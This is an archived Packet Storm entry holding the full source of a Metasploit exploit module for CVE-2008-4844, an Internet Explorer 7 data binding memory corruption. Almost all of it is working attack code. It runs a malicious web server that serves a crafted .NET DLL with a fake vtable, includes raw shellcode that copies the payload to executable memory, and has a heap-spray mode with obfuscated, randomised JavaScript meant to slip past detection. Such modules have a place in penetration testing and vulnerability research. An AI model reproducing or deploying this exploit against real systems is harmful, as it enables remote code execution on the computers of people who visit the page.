Microsoft Internet Explorer Data Binding Memory Corruption

2010-02-12T00:00:00
ID PACKETSTORM:86162
Type packetstorm
Reporter H D Moore
Modified 2010-02-12T00:00:00

Description

                                        
                                            `##  
# $Id: ms08_078_xml_corruption.rb 8445 2010-02-10 20:41:07Z egypt $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "7.0",  
:ua_maxver => "7.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:vuln_test => nil, # no way to test without just trying it  
})  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Internet Explorer Data Binding Memory Corruption',  
'Description' => %q{  
This module exploits a vulnerability in the data binding feature of Internet  
Explorer. In order to execute code reliably, this module uses the .NET DLL  
memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is  
used to create a fake vtable at a known location with all methods pointing  
to our payload. Since the .text segment of the .NET DLL is non-writable, a  
prefixed code stub is used to copy the payload into a new memory segment and  
continue execution from there.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'hdm'  
],  
'Version' => '$Revision: 8445 $',  
'References' =>  
[  
['CVE', '2008-4844'],  
['OSVDB', '50622'],  
['BID', '32721'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'],  
['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'Compat' =>  
{  
'ConnectionType' => '-find',  
},  
'StackAdjustment' => -3500,  
  
# Temporary stub virtualalloc() + memcpy() payload to RWX page  
'PrependEncoder' =>  
"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+  
"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+  
"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+  
"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+  
"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+  
"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+  
"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+  
"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+  
"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+  
"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { }],  
],  
'DisclosureDate' => 'Dec 07 2008',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(cli, request)  
@state ||= {}  
  
ibase = 0x13370000  
vaddr = ibase + 0x2065  
  
uri,token = request.uri.split('?', 2)  
  
  
if(token)  
token,trash = token.split('=')  
end  
  
if !(token and @state[token])  
  
print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...")  
token = rand_text_numeric(32)  
if ("/" == get_resource[-1,1])  
dll_uri = get_resource[0, get_resource.length - 1]  
else  
dll_uri = get_resource  
end  
dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"  
  
html = %Q|<html>  
<head>  
<script language="javascript">  
function forward() {  
window.location = window.location + '?#{token}';  
}  
  
function start() {  
setTimeout("forward()", 2000);  
}  
</script>  
</head>  
<body onload="start()">  
<object classid="#{dll_uri}?#{token}#GenericControl">  
<object>  
</body>  
</html>  
|  
@state[token] = :start  
# Transmit the compressed response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
return  
end  
  
if (uri.match(/\.dll/i))  
  
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")  
  
return if ((p = regenerate_payload(cli)) == nil)  
  
# First entry points to the table of pointers  
vtable = [ vaddr + 4 ].pack("V")  
cbase = ibase + 0x2065 + (256 * 4)  
  
# Build a function table  
255.times { vtable << [cbase].pack("V") }  
  
# Append the shellcode  
vtable << p.encoded  
send_response(  
cli,  
Msf::Util::EXE.to_dotnetmem(ibase, vtable),  
{  
'Content-Type' => 'application/x-msdownload',  
'Connection' => 'close',  
'Pragma' => 'no-cache'  
}  
)  
@state[token] = :dll  
return  
end  
  
  
  
print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...")  
  
html = ""  
  
  
#  
# .NET DLL MODE  
#  
if(@state[token] == :dll)  
  
addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" }  
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]  
bxml = Rex::Text.to_hex(%Q|  
<XML ID=I>  
<X>  
<C>  
<![CDATA[  
<image  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
>  
]]>  
</C>  
</X>  
</XML>  
  
#{data}  
  
<script>  
setTimeout('window.location.reload(true);', 250);  
</script>  
|, '%')  
  
var_unescape = rand_text_alpha(rand(100) + 1)  
var_start = rand_text_alpha(rand(100) + 1)  
  
html = %Q|<html>  
<head>  
<script>  
function #{var_start}() {  
var #{var_unescape} = unescape;  
document.write(#{var_unescape}('#{bxml}'));  
}  
</script>  
</head>  
<body onload="#{var_start}()">  
</body>  
</html>  
|  
  
#  
# HEAP SPRAY MODE  
#  
else  
print_status("Heap spray mode")  
  
addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" }  
data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]  
bxml = Rex::Text.to_hex(%Q|  
<XML ID=I>  
<X>  
<C>  
<![CDATA[  
<image  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X  
>  
]]>  
</C>  
</X>  
</XML>  
  
#{data}  
  
<script>  
setTimeout('window.location.reload(true);', 1000);  
</script>  
|, '%')  
  
var_memory = rand_text_alpha(rand(100) + 1)  
var_boom = rand_text_alpha(rand(100) + 1)  
var_body = rand_text_alpha(rand(100) + 1)  
var_unescape = rand_text_alpha(rand(100) + 1)  
var_shellcode = rand_text_alpha(rand(100) + 1)  
var_spray = rand_text_alpha(rand(100) + 1)  
var_start = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(100) + 1)  
  
rand_html = rand_text_english(rand(400) + 500)  
  
html = %Q|<html>  
<head>  
<script>  
var #{var_memory} = new Array();  
var #{var_unescape} = unescape;  
  
  
function #{var_boom}() {  
document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}');  
}  
  
function #{var_start}() {  
  
var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');  
  
var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );  
  
do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );  
  
for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};  
  
setTimeout('#{var_boom}()', 1000);  
}  
</script>  
</head>  
<body onload="#{var_start}()" id="#{var_body}">  
#{rand_html}  
</body>  
</html>  
|  
end  
  
# Transmit the compressed response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })  
  
# Handle the payload  
handler(cli)  
end  
end  
  
`